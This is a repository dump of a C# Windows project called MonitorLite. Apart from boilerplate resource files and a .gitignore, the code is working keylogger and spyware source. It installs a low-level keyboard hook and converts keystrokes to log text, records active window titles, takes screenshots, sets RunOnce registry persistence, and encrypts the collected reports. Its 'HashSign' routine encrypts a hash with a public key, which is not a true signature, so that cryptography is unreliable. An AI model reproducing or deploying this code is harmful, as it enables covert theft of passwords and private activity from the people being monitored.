88 | MonitorLiteViewer
89 |
90 |
91 |
92 |
93 |
94 |
95 |
102 |
--------------------------------------------------------------------------------
/MonitorLite/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/Properties/Resources.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 | text/microsoft-resx
107 |
108 |
109 | 2.0
110 |
111 |
112 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
113 |
114 |
115 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/LogViewerForm.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/MonitorLite/Form1.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
121 | 17, 17
122 |
123 |
--------------------------------------------------------------------------------
/MonitorLiteCore/NativeMethods.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Runtime.InteropServices;
4 | using System.Text;
5 | using System.Windows.Forms;
6 | using System.Diagnostics;
7 |
8 | namespace MonitorLiteCore
9 | {
10 | static class NativeMethods
11 | {
12 | public enum KeyboardUpDown
13 | {
14 | Down,
15 | Up,
16 | None
17 | }
18 |
19 | public enum KeyboardMessage
20 | {
21 | KeyDown = 0x100,
22 | KeyUp = 0x101,
23 | SysKeyDown = 0x104,
24 | SysKeyUp = 0x105
25 | }
26 |
27 | public struct KeyboardState
28 | {
29 | public Keys KeyCode;
30 | public int ScanCode;
31 | public KeyboardStateFlag Flag;
32 | public int Time;
33 | public IntPtr ExtraInfo;
34 | }
35 |
36 | public struct KeyboardStateFlag
37 | {
38 | private int _flag;
39 |
40 | private bool IsFlagging(int value)
41 | {
42 | return (_flag & value) != 0;
43 | }
44 |
45 | private void Flag(bool value, int digit)
46 | {
47 | _flag = value ? _flag | digit : _flag & ~digit;
48 | }
49 |
50 | public bool IsExtended
51 | {
52 | get { return IsFlagging(0x01); }
53 | set { Flag(value, 0x01); }
54 | }
55 |
56 | public bool IsInjected
57 | {
58 | get { return IsFlagging(0x10); }
59 | set { Flag(value, 0x10); }
60 | }
61 |
62 | public bool AltDown
63 | {
64 | get { return IsFlagging(0x20); }
65 | set { Flag(value, 0x20); }
66 | }
67 |
68 | public bool IsUp
69 | {
70 | get { return IsFlagging(0x80); }
71 | set { Flag(value, 0x80); }
72 | }
73 | }
74 |
75 | [DllImport("user32.dll", SetLastError = true)]
76 | internal static extern IntPtr SetWindowsHookEx(
77 | int hookType,
78 | DelegateKeyboardHook hookDelegate,
79 | IntPtr hInstance,
80 | uint threadId
81 | );
82 |
83 | [DllImport("user32.dll", SetLastError = true)]
84 | public static extern int CallNextHookEx(
85 | IntPtr hook,
86 | int code,
87 | KeyboardMessage message,
88 | ref KeyboardState state
89 | );
90 |
91 | [DllImport("user32.dll", SetLastError = true)]
92 | public static extern bool UnhookWindowsHookEx(
93 | IntPtr hook
94 | );
95 |
96 | [DllImport("user32.dll")]
97 | public static extern bool UnhookWinEvent(IntPtr hWinEventHook);
98 |
99 | [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
100 | public static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
101 |
102 |
103 | [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
104 | public static extern short GetAsyncKeyState(Keys vKey);
105 |
106 | [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
107 | public static extern short GetKeyState(Keys vKey);
108 |
109 |
110 |
111 | [DllImport("user32.dll")]
112 | public static extern IntPtr GetForegroundWindow();
113 |
114 | [DllImport("user32.dll")]
115 | public static extern int GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
116 |
117 | [DllImport("user32.dll")]
118 | public static extern int GetWindowText(IntPtr hWnd, StringBuilder lpStr, int nMaxCount);
119 |
120 | [DllImport("user32.dll")]
121 | public static extern int GetWindowTextLength(IntPtr hWnd);
122 |
123 | [DllImport("user32.dll")]
124 | public static extern IntPtr SetWinEventHook(uint eventMin, uint eventMax, IntPtr hmodWinEventProc, WinEventProc lpfnWinEventProc, uint idProcess, uint idThread, uint dwflags);
125 |
126 | [DllImport("user32.dll")]
127 | public static extern IntPtr GetAncestor(IntPtr hwnd, uint gaFlags);
128 |
129 | [DllImport("user32.dll")]
130 | public static extern bool RegisterHotKey(IntPtr hWnd, int id, uint fsModifier, uint vk);
131 |
132 | [DllImport("user32.dll")]
133 | public static extern bool GetMessage(ref Message lpMsg, IntPtr hWnd, uint filterInMain, uint filterMax);
134 |
135 | [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
136 | public static extern bool UnregisterHotKey(IntPtr hWnd, int id);
137 |
138 | public delegate int DelegateKeyboardHook(
139 | int code,
140 | KeyboardMessage message,
141 | ref KeyboardState state);
142 |
143 | public const int WH_KEYBOARD_LL = 13;
144 |
145 | public delegate void WinEventProc(IntPtr hWinEventHook, uint eventId, IntPtr hwnd, long idObject, long idChild, uint dwEventThread, uint dwmsEventTime);
146 |
147 | public static Process GetProcessFromWindowHandle(IntPtr hWnd)
148 | {
149 | uint processId;
150 |
151 | NativeMethods.GetWindowThreadProcessId(hWnd, out processId);
152 |
153 | if (processId == 0) return null;
154 |
155 | try
156 | {
157 | return Process.GetProcessById((int)processId);
158 | }
159 | catch (ArgumentException)
160 | {
161 | return null;
162 | }
163 |
164 |
165 | }
166 |
167 | public static string GetTitleFromHandle(IntPtr hWnd)
168 | {
169 | int textLength = NativeMethods.GetWindowTextLength(hWnd);
170 |
171 | if (textLength > 0)
172 | {
173 | StringBuilder sb = new StringBuilder(textLength + 1);
174 |
175 | textLength = NativeMethods.GetWindowText(hWnd, sb, sb.Capacity);
176 |
177 | if (textLength > 0) return sb.ToString(0, textLength);
178 | }
179 |
180 |
181 |
182 | return "";
183 |
184 | }
185 |
186 | public static bool IsTopLevelWindow(IntPtr hWnd)
187 | {
188 | return NativeMethods.GetAncestor(hWnd, 2) == hWnd;
189 | }
190 |
191 | }
192 | }
193 |
--------------------------------------------------------------------------------
/MonitorLiteCommon/Cryptographics.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Security.Cryptography;
4 | using System.Text;
5 |
6 | namespace MonitorLiteCommon
7 | {
8 | public static class Cryptographics
9 | {
10 | private static RijndaelManaged CreateRijndael()
11 | {
12 | RijndaelManaged rij = new RijndaelManaged();
13 | rij.KeySize = 256;
14 | rij.BlockSize = 256;
15 | rij.Padding = PaddingMode.Zeros;
16 | rij.Mode = CipherMode.CBC;
17 |
18 | return rij;
19 | }
20 |
21 | private static RSACryptoServiceProvider CreateRSA(string key)
22 | {
23 | byte[] keyData = Convert.FromBase64String(key);
24 | RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
25 | rsa.ImportCspBlob(keyData);
26 | return rsa;
27 | }
28 |
29 | public static byte[] Encrypt(byte[] data, string publicKey)
30 | {
31 |
32 | byte[] cipherData;
33 |
34 | using (RijndaelManaged rij = CreateRijndael())
35 | {
36 | rij.GenerateKey();
37 | rij.GenerateIV();
38 |
39 | byte[] key = rij.Key;
40 | byte[] iv = rij.IV;
41 |
42 | byte[] keyblob = new byte[key.Length + iv.Length];
43 |
44 | Buffer.BlockCopy(key, 0, keyblob, 0, key.Length);
45 | Buffer.BlockCopy(iv, 0, keyblob, key.Length, iv.Length);
46 |
47 | using (RSACryptoServiceProvider rsa = CreateRSA(publicKey))
48 | {
49 |
50 | keyblob = rsa.Encrypt(keyblob, true);
51 |
52 | }
53 |
54 | using (ICryptoTransform enc = rij.CreateEncryptor())
55 | {
56 | byte[] encrypted_data = enc.TransformFinalBlock(data, 0, data.Length);
57 |
58 | cipherData = new byte[encrypted_data.Length + keyblob.Length + 4];
59 |
60 | Buffer.BlockCopy(encrypted_data, 0, cipherData, 0, encrypted_data.Length);
61 | Buffer.BlockCopy(keyblob, 0, cipherData, encrypted_data.Length, keyblob.Length);
62 | Buffer.BlockCopy(BitConverter.GetBytes(keyblob.Length), 0, cipherData, encrypted_data.Length + keyblob.Length, sizeof(int));
63 | }
64 | return cipherData;
65 | }
66 |
67 |
68 | }
69 |
70 | public static byte[] HashSign(byte[] data, string publicKey)
71 | {
72 | using (RSACryptoServiceProvider rsa = CreateRSA(publicKey))
73 | {
74 | using (SHA256Managed sha256 = new SHA256Managed())
75 | {
76 | byte[] hash = sha256.ComputeHash(data);
77 |
78 | byte[] encryptedHash = rsa.Encrypt(hash, true);
79 |
80 | byte[] signed = new byte[data.Length + encryptedHash.Length + 4];
81 |
82 | Buffer.BlockCopy(data, 0, signed, 0, data.Length);
83 | Buffer.BlockCopy(encryptedHash, 0, signed, data.Length, encryptedHash.Length);
84 | Buffer.BlockCopy(BitConverter.GetBytes(encryptedHash.Length), 0, signed, data.Length + encryptedHash.Length, 4);
85 | return signed;
86 | }
87 |
88 | }
89 | }
90 |
91 | public static byte[] Decrypt(byte[] data, string privateKey)
92 | {
93 |
94 | int keyblobLen = BitConverter.ToInt32(data, data.Length - 4);
95 |
96 | byte[] keyblob = new byte[keyblobLen];
97 |
98 | Buffer.BlockCopy(data, data.Length - 4 - keyblob.Length, keyblob, 0, keyblob.Length);
99 |
100 | using (RSACryptoServiceProvider rsa = CreateRSA(privateKey))
101 | {
102 | keyblob = rsa.Decrypt(keyblob, true);
103 |
104 | }
105 |
106 | using (RijndaelManaged rij = CreateRijndael())
107 | {
108 | byte[] key = new byte[rij.KeySize / 8];
109 | byte[] iv = new byte[rij.BlockSize / 8];
110 | Buffer.BlockCopy(keyblob, 0, key, 0, key.Length);
111 | Buffer.BlockCopy(keyblob, key.Length, iv, 0, iv.Length);
112 | rij.Key = key;
113 | rij.IV = iv;
114 | using (ICryptoTransform dec = rij.CreateDecryptor())
115 | {
116 | byte[] encrypted_data = new byte[data.Length - 4 - keyblob.Length];
117 |
118 | Buffer.BlockCopy(data, 0, encrypted_data, 0, encrypted_data.Length);
119 |
120 | byte[] decrypted_data = dec.TransformFinalBlock(encrypted_data, 0,encrypted_data.Length);
121 | return decrypted_data;
122 | }
123 | }
124 |
125 | }
126 |
127 | public static byte[] HashVerify(byte[] data, string privateKey)
128 | {
129 | using (RSACryptoServiceProvider rsa = CreateRSA(privateKey))
130 | {
131 | using (SHA256Managed sha256 = new SHA256Managed())
132 | {
133 | byte[] encrypted_hash = new byte[BitConverter.ToInt32(data,data.Length - 4)];
134 | Buffer.BlockCopy(data, data.Length - 4 - encrypted_hash.Length, encrypted_hash, 0, encrypted_hash.Length);
135 |
136 | byte[] decrypted_hash = rsa.Decrypt(encrypted_hash,true);
137 |
138 | byte[] nude_data = new byte[data.Length - 4 - encrypted_hash.Length];
139 | Buffer.BlockCopy(data, 0, nude_data, 0, nude_data.Length);
140 |
141 | byte[] hash = sha256.ComputeHash(nude_data);
142 |
143 | for(int i = 0; i < hash.Length; i++)
144 | {
145 | if(hash[i] != decrypted_hash[i])
146 | {
147 | throw new Exception();
148 | }
149 | }
150 |
151 | return nude_data;
152 |
153 | }
154 | }
155 | }
156 |
157 | public static void GenerateKeyPair(out string publicKey,out string privateKey)
158 | {
159 | using(RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(4096))
160 | {
161 | publicKey = Convert.ToBase64String(rsa.ExportCspBlob(false));
162 | privateKey = Convert.ToBase64String(rsa.ExportCspBlob(true));
163 | }
164 | }
165 | }
166 | }
167 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.suo
8 | *.user
9 | *.userosscache
10 | *.sln.docstates
11 |
12 | # User-specific files (MonoDevelop/Xamarin Studio)
13 | *.userprefs
14 |
15 | # Build results
16 | [Dd]ebug/
17 | [Dd]ebugPublic/
18 | [Rr]elease/
19 | [Rr]eleases/
20 | x64/
21 | x86/
22 | bld/
23 | [Bb]in/
24 | [Oo]bj/
25 | [Ll]og/
26 |
27 | # Visual Studio 2015/2017 cache/options directory
28 | .vs/
29 | # Uncomment if you have tasks that create the project's static files in wwwroot
30 | #wwwroot/
31 |
32 | # Visual Studio 2017 auto generated files
33 | Generated\ Files/
34 |
35 | # MSTest test Results
36 | [Tt]est[Rr]esult*/
37 | [Bb]uild[Ll]og.*
38 |
39 | # NUNIT
40 | *.VisualState.xml
41 | TestResult.xml
42 |
43 | # Build Results of an ATL Project
44 | [Dd]ebugPS/
45 | [Rr]eleasePS/
46 | dlldata.c
47 |
48 | # Benchmark Results
49 | BenchmarkDotNet.Artifacts/
50 |
51 | # .NET Core
52 | project.lock.json
53 | project.fragment.lock.json
54 | artifacts/
55 | **/Properties/launchSettings.json
56 |
57 | # StyleCop
58 | StyleCopReport.xml
59 |
60 | # Files built by Visual Studio
61 | *_i.c
62 | *_p.c
63 | *_i.h
64 | *.ilk
65 | *.meta
66 | *.obj
67 | *.iobj
68 | *.pch
69 | *.pdb
70 | *.ipdb
71 | *.pgc
72 | *.pgd
73 | *.rsp
74 | *.sbr
75 | *.tlb
76 | *.tli
77 | *.tlh
78 | *.tmp
79 | *.tmp_proj
80 | *.log
81 | *.vspscc
82 | *.vssscc
83 | .builds
84 | *.pidb
85 | *.svclog
86 | *.scc
87 |
88 | # Chutzpah Test files
89 | _Chutzpah*
90 |
91 | # Visual C++ cache files
92 | ipch/
93 | *.aps
94 | *.ncb
95 | *.opendb
96 | *.opensdf
97 | *.sdf
98 | *.cachefile
99 | *.VC.db
100 | *.VC.VC.opendb
101 |
102 | # Visual Studio profiler
103 | *.psess
104 | *.vsp
105 | *.vspx
106 | *.sap
107 |
108 | # Visual Studio Trace Files
109 | *.e2e
110 |
111 | # TFS 2012 Local Workspace
112 | $tf/
113 |
114 | # Guidance Automation Toolkit
115 | *.gpState
116 |
117 | # ReSharper is a .NET coding add-in
118 | _ReSharper*/
119 | *.[Rr]e[Ss]harper
120 | *.DotSettings.user
121 |
122 | # JustCode is a .NET coding add-in
123 | .JustCode
124 |
125 | # TeamCity is a build add-in
126 | _TeamCity*
127 |
128 | # DotCover is a Code Coverage Tool
129 | *.dotCover
130 |
131 | # AxoCover is a Code Coverage Tool
132 | .axoCover/*
133 | !.axoCover/settings.json
134 |
135 | # Visual Studio code coverage results
136 | *.coverage
137 | *.coveragexml
138 |
139 | # NCrunch
140 | _NCrunch_*
141 | .*crunch*.local.xml
142 | nCrunchTemp_*
143 |
144 | # MightyMoose
145 | *.mm.*
146 | AutoTest.Net/
147 |
148 | # Web workbench (sass)
149 | .sass-cache/
150 |
151 | # Installshield output folder
152 | [Ee]xpress/
153 |
154 | # DocProject is a documentation generator add-in
155 | DocProject/buildhelp/
156 | DocProject/Help/*.HxT
157 | DocProject/Help/*.HxC
158 | DocProject/Help/*.hhc
159 | DocProject/Help/*.hhk
160 | DocProject/Help/*.hhp
161 | DocProject/Help/Html2
162 | DocProject/Help/html
163 |
164 | # Click-Once directory
165 | publish/
166 |
167 | # Publish Web Output
168 | *.[Pp]ublish.xml
169 | *.azurePubxml
170 | # Note: Comment the next line if you want to checkin your web deploy settings,
171 | # but database connection strings (with potential passwords) will be unencrypted
172 | *.pubxml
173 | *.publishproj
174 |
175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
176 | # checkin your Azure Web App publish settings, but sensitive information contained
177 | # in these scripts will be unencrypted
178 | PublishScripts/
179 |
180 | # NuGet Packages
181 | *.nupkg
182 | # The packages folder can be ignored because of Package Restore
183 | **/[Pp]ackages/*
184 | # except build/, which is used as an MSBuild target.
185 | !**/[Pp]ackages/build/
186 | # Uncomment if necessary however generally it will be regenerated when needed
187 | #!**/[Pp]ackages/repositories.config
188 | # NuGet v3's project.json files produces more ignorable files
189 | *.nuget.props
190 | *.nuget.targets
191 |
192 | # Microsoft Azure Build Output
193 | csx/
194 | *.build.csdef
195 |
196 | # Microsoft Azure Emulator
197 | ecf/
198 | rcf/
199 |
200 | # Windows Store app package directories and files
201 | AppPackages/
202 | BundleArtifacts/
203 | Package.StoreAssociation.xml
204 | _pkginfo.txt
205 | *.appx
206 |
207 | # Visual Studio cache files
208 | # files ending in .cache can be ignored
209 | *.[Cc]ache
210 | # but keep track of directories ending in .cache
211 | !*.[Cc]ache/
212 |
213 | # Others
214 | ClientBin/
215 | ~$*
216 | *~
217 | *.dbmdl
218 | *.dbproj.schemaview
219 | *.jfm
220 | *.pfx
221 | *.publishsettings
222 | orleans.codegen.cs
223 |
224 | # Including strong name files can present a security risk
225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
226 | #*.snk
227 |
228 | # Since there are multiple workflows, uncomment next line to ignore bower_components
229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
230 | #bower_components/
231 |
232 | # RIA/Silverlight projects
233 | Generated_Code/
234 |
235 | # Backup & report files from converting an old project file
236 | # to a newer Visual Studio version. Backup files are not needed,
237 | # because we have git ;-)
238 | _UpgradeReport_Files/
239 | Backup*/
240 | UpgradeLog*.XML
241 | UpgradeLog*.htm
242 | ServiceFabricBackup/
243 | *.rptproj.bak
244 |
245 | # SQL Server files
246 | *.mdf
247 | *.ldf
248 | *.ndf
249 |
250 | # Business Intelligence projects
251 | *.rdl.data
252 | *.bim.layout
253 | *.bim_*.settings
254 | *.rptproj.rsuser
255 |
256 | # Microsoft Fakes
257 | FakesAssemblies/
258 |
259 | # GhostDoc plugin setting file
260 | *.GhostDoc.xml
261 |
262 | # Node.js Tools for Visual Studio
263 | .ntvs_analysis.dat
264 | node_modules/
265 |
266 | # Visual Studio 6 build log
267 | *.plg
268 |
269 | # Visual Studio 6 workspace options file
270 | *.opt
271 |
272 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
273 | *.vbw
274 |
275 | # Visual Studio LightSwitch build output
276 | **/*.HTMLClient/GeneratedArtifacts
277 | **/*.DesktopClient/GeneratedArtifacts
278 | **/*.DesktopClient/ModelManifest.xml
279 | **/*.Server/GeneratedArtifacts
280 | **/*.Server/ModelManifest.xml
281 | _Pvt_Extensions
282 |
283 | # Paket dependency manager
284 | .paket/paket.exe
285 | paket-files/
286 |
287 | # FAKE - F# Make
288 | .fake/
289 |
290 | # JetBrains Rider
291 | .idea/
292 | *.sln.iml
293 |
294 | # CodeRush
295 | .cr/
296 |
297 | # Python Tools for Visual Studio (PTVS)
298 | __pycache__/
299 | *.pyc
300 |
301 | # Cake - Uncomment if you are using it
302 | # tools/**
303 | # !tools/packages.config
304 |
305 | # Tabs Studio
306 | *.tss
307 |
308 | # Telerik's JustMock configuration file
309 | *.jmconfig
310 |
311 | # BizTalk build output
312 | *.btp.cs
313 | *.btm.cs
314 | *.odx.cs
315 | *.xsd.cs
316 |
317 | # OpenCover UI analysis results
318 | OpenCover/
319 |
320 | # Azure Stream Analytics local run output
321 | ASALocalRun/
322 |
323 | # MSBuild Binary and Structured Log
324 | *.binlog
325 |
326 | # NVidia Nsight GPU debugger configuration file
327 | *.nvuser
328 |
329 | # MFractors (Xamarin productivity tool) working folder
330 | .mfractor/
331 |
--------------------------------------------------------------------------------
/MonitorLiteCore/Helpers.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32;
2 | using MonitorLiteCommon;
3 | using System;
4 | using System.Collections.Generic;
5 | using System.Diagnostics;
6 | using System.Drawing;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace MonitorLiteCore
11 | {
12 | static class Helpers
13 | {
14 |
15 | public static string ConvertStatus(int status)
16 | {
17 | switch (status)
18 | {
19 | case 0:
20 | return "Disabled";
21 | case 1:
22 | return "Enabled";
23 | default:
24 | return "Unknown";
25 | }
26 | }
27 |
28 | public static byte[] EncryptReport(Report r,string publicKey)
29 | {
30 | // Report r = Report.CreateTextReport(reportTitle, reportText);
31 | byte[] reportData = Report.SerializeReport(r);
32 | byte[] encryptedReportData = Cryptographics.Encrypt(reportData, publicKey);
33 | byte[] signed = Cryptographics.HashSign(encryptedReportData, publicKey);
34 | return signed;
35 | }
36 |
37 | public static string GetExecutablePath()
38 | {
39 | using (Process p = Process.GetCurrentProcess())
40 | {
41 | using (ProcessModule pm = p.MainModule)
42 | return pm.FileName;
43 | }
44 | }
45 |
46 | public static void SetStartup(string name)
47 | {
48 | RegistryKey rk = Registry.CurrentUser.OpenSubKey("Software").OpenSubKey("Microsoft").OpenSubKey("Windows").OpenSubKey("CurrentVersion").OpenSubKey("RunOnce",true);
49 | if (rk == null)
50 | return;
51 | using (rk)
52 | {
53 | rk.SetValue(name, GetExecutablePath());
54 | }
55 | }
56 |
57 | public static bool TryConvertToLog(ushort key, out string s, out bool specialKeyword)
58 | {
59 |
60 | bool shift = (NativeMethods.GetAsyncKeyState(Keys.ShiftKey) != 0);
61 | bool altgr = (NativeMethods.GetAsyncKeyState(Keys.Menu) != 0);
62 | bool ctrl = (NativeMethods.GetAsyncKeyState(Keys.ControlKey) != 0);
63 | bool capsLock = (((NativeMethods.GetKeyState(Keys.Capital)) & 0x1) != 0);
64 |
65 | if (!TryGetSpecialKeys(key, out s))
66 | {
67 | s = GetCharsFromKeys(key, shift, altgr).ToLower();
68 | specialKeyword = false;
69 | }
70 | else
71 | {
72 | specialKeyword = true;
73 | }
74 |
75 | if (string.IsNullOrEmpty(s))
76 | {
77 | specialKeyword = false;
78 | return false;
79 | }
80 |
81 | if ((capsLock == true & shift == false) | (capsLock == false & shift == true))
82 | {
83 | s = s.ToUpper();
84 | }
85 |
86 | if (ctrl && !altgr)
87 | {
88 | s = string.Format("[CTRL+{0}]", s.ToUpper());
89 | specialKeyword = true;
90 | }
91 |
92 | return true;
93 | }
94 |
95 | private static string GetCharsFromKeys(ushort key, bool shift, bool altGr)
96 | {
97 |
98 | StringBuilder buf = new StringBuilder(256);
99 | byte[] keyboardState = new byte[256];
100 |
101 | if (shift)
102 | {
103 | keyboardState[Convert.ToInt32(Keys.ShiftKey)] = 0xff;
104 | }
105 |
106 | if (altGr)
107 | {
108 | keyboardState[Convert.ToInt32(Keys.ControlKey)] = 0xff;
109 | keyboardState[Convert.ToInt32(Keys.Menu)] = 0xff;
110 | }
111 |
112 | int rc = 0;
113 | rc = NativeMethods.ToUnicodeEx(Convert.ToUInt32(key), 0u, keyboardState, buf, buf.Capacity, 0u, InputLanguage.DefaultInputLanguage.Handle);
114 |
115 | switch (rc)
116 | {
117 |
118 | case -1:
119 | // Its a dead key, like for example "`´" accents or "^".
120 |
121 | return "";
122 | case 0:
123 | // Single character in buffer.
124 |
125 | return "";
126 | case 1:
127 |
128 | return buf[0].ToString();
129 | default:
130 | // Two or more (only two of them are relevant).
131 |
132 | return buf.ToString().Substring(0, 2);
133 | }
134 |
135 | }
136 |
137 | private static bool TryGetSpecialKeys(ushort key, out string s)
138 | {
139 | s = string.Empty;
140 | switch ((Keys)key)
141 | {
142 | case Keys.RControlKey: { s = ""; return true; }
143 | case Keys.LControlKey: { s = ""; return true; }
144 | case Keys.RShiftKey: { s = ""; return true; }
145 | case Keys.LShiftKey: { s = ""; return true; }
146 | case Keys.Alt: { s = ""; return true; }
147 | case Keys.RMenu: { s = ""; return true; }
148 | case Keys.LMenu: { s = ""; return true; }
149 | case Keys.LWin: { s = "[WIN]"; return true; }
150 | case Keys.RWin: { s = "[WIN]"; return true; }
151 | case Keys.Escape: { s = "[ESC]"; return true; }
152 | case Keys.Delete: { s = "[DEL]"; return true; }
153 | case Keys.Home: { s = "[HOME]"; return true; }
154 | case Keys.Insert: { s = "[INS]"; return true; }
155 | case Keys.End: { s = "[END]"; return true; }
156 | case Keys.PageDown: { s = "[PGDOWN]"; return true; }
157 | case Keys.PageUp: { s = "[PGUP]"; return true; }
158 | case Keys.NumLock: { s = ""; return true; }
159 | case Keys.Scroll: { s = "[SCROLL]"; return true; }
160 | case Keys.PrintScreen: { s = "[PRINTSCREEN]"; return true; }
161 | case Keys.Pause: { s = "[PAUSE]"; return true; }
162 |
163 | case Keys.Enter: { s = "[ENTER]\r\n"; return true; }
164 | case Keys.Tab: { s = "[TAB]\t"; return true; }
165 | case Keys.CapsLock: { s = ""; return true; }
166 | case Keys.Up: { s = "[UP]"; return true; }
167 | case Keys.Down: { s = "[DOWN]"; return true; }
168 | case Keys.Left: { s = "[LEFT]"; return true; }
169 | case Keys.Right: { s = "[RIGHT]"; return true; }
170 | case Keys.Back: { s = "[BACK]"; return true; }
171 | case Keys.F1:
172 | case Keys.F2:
173 | case Keys.F3:
174 | case Keys.F4:
175 | case Keys.F5:
176 | case Keys.F6:
177 | case Keys.F7:
178 | case Keys.F8:
179 | case Keys.F9:
180 | case Keys.F10:
181 | case Keys.F11:
182 | case Keys.F12:
183 | case Keys.F13:
184 | {
185 | s = string.Format("[{0}]", ((Keys)key).ToString());
186 | return true;
187 | }
188 | default: return false;
189 | }
190 | }
191 |
192 | public static Image TakeScreenshot()
193 | {
194 |
195 | // Create a bitmap of the appropriate size to receive the screenshot.
196 | using (Bitmap bmp = new Bitmap(SystemInformation.VirtualScreen.Width, SystemInformation.VirtualScreen.Height))
197 | {
198 | // Draw the screenshot into our bitmap.
199 | using (Graphics g = Graphics.FromImage(bmp))
200 | {
201 | g.CopyFromScreen(SystemInformation.VirtualScreen.Left, SystemInformation.VirtualScreen.Top, 0, 0, bmp.Size);
202 | }
203 |
204 | // Do something with the Bitmap here, like save it to a file:
205 | return (Bitmap)bmp.Clone();
206 | }
207 | }
208 | }
209 | }
210 |
--------------------------------------------------------------------------------
/MonitorLiteViewer/LogViewerForm.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace MonitorLiteViewer
2 | {
3 | partial class LogViewerForm
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
